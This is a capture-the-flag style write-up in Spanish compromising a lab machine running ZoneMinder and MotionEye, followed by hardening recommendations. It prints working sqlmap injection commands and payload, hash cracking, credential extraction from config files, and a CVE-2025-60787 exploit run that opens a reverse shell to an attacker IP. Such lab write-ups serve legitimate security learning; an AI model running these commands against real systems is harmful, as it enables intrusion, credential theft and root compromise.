Key Findings
Durante el análisis de seguridad de la máquina CCTV se identificaron las siguientes vulnerabilidades críticas:
- ZoneMinder con credenciales por defecto (admin:admin)
- Inyección SQL Time-based Blind en parámetro de URI
- Credenciales de usuarios almacenadas en base de datos MySQL
- Servicio MotionEye v0.43.1b4 ejecutándose como root
- Contraseñas en texto plano en archivos de configuración
- Puerto 8765 accesible internamente sin autenticación robusta
- Vulnerabilidad RCE en MotionEye (CVE-2025-60787)
Key Learning Objectives
Los objetivos de aprendizaje clave en esta máquina incluyen:
- ✅ Port Scanning & Service Enumeration
- ✅ ZoneMinder Surveillance System Analysis
- ✅ SQL Injection Time-based Blind Exploitation
- ✅ SQLMap Advanced Usage & Database Dumping
- ✅ Password Hash Cracking with John the Ripper
- ✅ Linux Service Enumeration with Linpeas
- ✅ SSH Local Port Forwarding
- ✅ MotionEye RCE Exploitation - CVE-2025-60787
Reconnaissance & Enumeration
El reconocimiento inicial se realizó utilizando Nmap para identificar puertos abiertos y servicios en ejecución.
❯ sudo nmap -p- --open -n -Pn -vvv -oG ports 10.129.7.87 --min-rate=2500
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 15:53 +0100
Initiating SYN Stealth Scan at 15:53
Scanning 10.129.7.87 [65535 ports]
Discovered open port 80/tcp on 10.129.7.87
Discovered open port 22/tcp on 10.129.7.87
Completed SYN Stealth Scan at 15:53, 29.65s elapsed (65535 total ports)
❯ sudo nmap -p 22,80 -sCV -oN services 10.129.7.87
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open http Apache httpd 2.4.58
|_http-title: SecureVision CCTV & Security Solutions
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Resultados:
- Puerto 22/tcp: OpenSSH 9.6p1 Ubuntu
- Puerto 80/tcp: Apache httpd 2.4.58
- Título HTTP: SecureVision CCTV & Security Solutions
Web Application Assessment
Al acceder a la aplicación web en el puerto 80, observamos la página principal de SecureVision CCTV & Security Solutions.
ZoneMinder Access
Al hacer clic en "Staff Login", somos redirigidos a un formulario de autenticación.
Probamos con credenciales por defecto admin:admin y obtenemos acceso exitoso al panel de ZoneMinder ubicado en /zm.
Una vez autenticados, podemos identificar la versión del sistema de vigilancia ZoneMinder.
SQL Injection - Database Enumeration
Se identificó una vulnerabilidad de inyección SQL en el parámetro de URI. Utilizamos SQLMap para enumerar las bases de datos disponibles:
❯ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1*" \
--host=cctv.htb \
--cookie="ZMSESSID=2lkice6clu9r69ohl12p61brrv" \
--batch \
--dbs
SQLMap identificó el siguiente punto de inyección:
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1 AND (SELECT 7479 FROM (SELECT(SLEEP(5)))rizx)
available databases [3]:
[*] information_schema
[*] performance_schema
[*] zm
Enumeramos las tablas de la base de datos zm:
❯ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1*" \
--host=cctv.htb \
--cookie="ZMSESSID=2lkice6clu9r69ohl12p61brrv" \
--dbms=MySQL \
--technique=T \
--time-sec=3 \
-D zm \
--tables \
--batch
Entre las 43 tablas encontradas, identificamos la tabla Users como objetivo principal.
Enumeramos las columnas de la tabla Users:
❯ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1*" \
--host=cctv.htb \
--cookie="ZMSESSID=3pebkuj13uh8fdvje97vs5f760" \
--dbms=MySQL \
--technique=T \
--time-sec=5 \
-D zm \
-T Users \
--columns \
--hex \
--batch \
--delay=2
Dumpeamos las columnas Username y Password:
❯ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1*" \
--host=cctv.htb \
--cookie="ZMSESSID=3pebkuj13uh8fdvje97vs5f760" \
--dbms=MySQL \
--technique=T \
--time-sec=5 \
-D zm \
-T Users \
-C Username,Password \
--dump \
--hex \
--batch \
--delay=2
Obtuvimos 3 usuarios con sus respectivos hashes de contraseñas.
Credential Cracking
Guardamos los hashes en un archivo y utilizamos John the Ripper para crackearlos:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt zm_users.hashes.txt
Encontramos la contraseña del usuario mark:
- Usuario: mark
- Contraseña: opensesame
SSH Access & System Enumeration
Utilizamos las credenciales obtenidas para conectarnos al servicio SSH:
Una vez dentro del sistema, ejecutamos Linpeas para enumerar posibles vectores de escalada de privilegios.
MotionEye Service Discovery
Linpeas reveló información crítica sobre un servicio ejecutándose como root:
motioneye.service loaded active running motionEye Server
Potential issue in service: motioneye.service
└─ RUNS_AS_ROOT: Service runs as root
Además, se identificó que el puerto 8765 está abierto localmente.
Examinamos el archivo de servicio de systemd:
mark@cctv:~$ cat /etc/systemd/system/motioneye.service
[Unit]
Description=motionEye Server
After=network.target local-fs.target remote-fs.target
[Service]
User=root
RuntimeDirectory=motioneye
LogsDirectory=motioneye
StateDirectory=motioneye
ExecStart=/usr/local/bin/meyectl startserver -c /etc/motioneye/motioneye.conf
Restart=on-abort
[Install]
WantedBy=multi-user.target
Revisamos el archivo de configuración principal:
mark@cctv:~$ cat /etc/motioneye/motioneye.conf
# the TCP port to listen on
port 8765
Y encontramos credenciales en el archivo de configuración de motion:
mark@cctv:~$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
Credenciales encontradas:
- Usuario: admin
- Contraseña: 989c5a8ee87a0e9521ec81a79187d162109282f0
SSH Port Forwarding
Dado que el puerto 8765 solo está accesible localmente, establecemos un túnel SSH para acceder al servicio desde nuestra máquina atacante:
❯ ssh -L 8765:127.0.0.1:8765 mark@cctv.htb
MotionEye Access
Ahora podemos acceder al servicio MotionEye desde nuestro navegador en http://127.0.0.1:8765.
Utilizamos las credenciales encontradas (admin:989c5a8ee87a0e9521ec81a79187d162109282f0) y obtenemos acceso exitoso.
Identificamos la versión del servicio:
- Servicio: MotionEye
- Versión: 0.43.1b4
RCE Exploitation - CVE-2025-60787
Investigando la versión de MotionEye, encontramos que es vulnerable a CVE-2025-60787, una vulnerabilidad de ejecución remota de código (RCE).
Clonamos el repositorio del exploit:
❯ git clone https://github.com/gunzf0x/CVE-2025-60787.git
❯ cd CVE-2025-60787
Preparamos un listener para recibir la reverse shell:
Ejecutamos el exploit:
❯ python3 CVE-2025-60787.py revshell \
--url 'http://127.0.0.1:8765' \
--user 'admin' \
--password '989c5a8ee87a0e9521ec81a79187d162109282f0' \
-i 10.10.16.138 \
--port 4444
Root Access Achievement
Recibimos la reverse shell con privilegios de root, ya que el servicio MotionEye se ejecuta como root:
Recommendations
Immediate Actions
1. ZoneMinder Security
- Cambiar credenciales por defecto (admin:admin) inmediatamente
- Aplicar parches de seguridad para vulnerabilidades de SQL Injection
- Implementar autenticación robusta con políticas de contraseñas fuertes
- Actualizar ZoneMinder a la última versión disponible
2. Database Security
- Implementar prepared statements para prevenir SQL Injection
- Usar hashes de contraseñas con algoritmos seguros (bcrypt, Argon2)
- Implementar rate limiting en endpoints vulnerables
- Restringir acceso directo a la base de datos
3. MotionEye Service Hardening
- Actualizar MotionEye a la última versión con parches de CVE-2025-60787
- NO ejecutar servicios de aplicación como root
- Crear usuario de servicio dedicado con privilegios mínimos
- Restringir acceso al puerto 8765 mediante firewall
4. Configuration File Security
- Eliminar contraseñas en texto plano de archivos de configuración
- Implementar gestión de secretos con vault o similar
- Aplicar permisos restrictivos en archivos de configuración (600 o 640)
- Auditar regularmente archivos de configuración
Long-term Security Improvements
1. Access Controls
- Implementar principio de mínimo privilegio en todos los servicios
- Usar autenticación multifactor para servicios críticos
- Implementar VPN o túnel seguro para acceso a interfaces de gestión
- Segmentación de red para aislar sistemas de vigilancia
2. Service Hardening
- Ejecutar servicios en contenedores con privilegios limitados
- Implementar AppArmor o SELinux para restricción de procesos
- Regular auditoría de servicios ejecutándose como root
- Implementar systemd hardening features (PrivateTmp, ProtectSystem, etc.)
3. Monitoring & Detection
- Implementar IDS/IPS para detectar intentos de SQL Injection
- Monitorear accesos a archivos de configuración sensibles
- Alertas para ejecución de comandos privilegiados anómalos
- Logging centralizado de todos los servicios de vigilancia
4. Vulnerability Management
- Programa de gestión de vulnerabilidades y parches regulares
- Escaneos de seguridad automatizados semanales
- Pruebas de penetración periódicas
- Suscripción a alertas de seguridad para ZoneMinder y MotionEye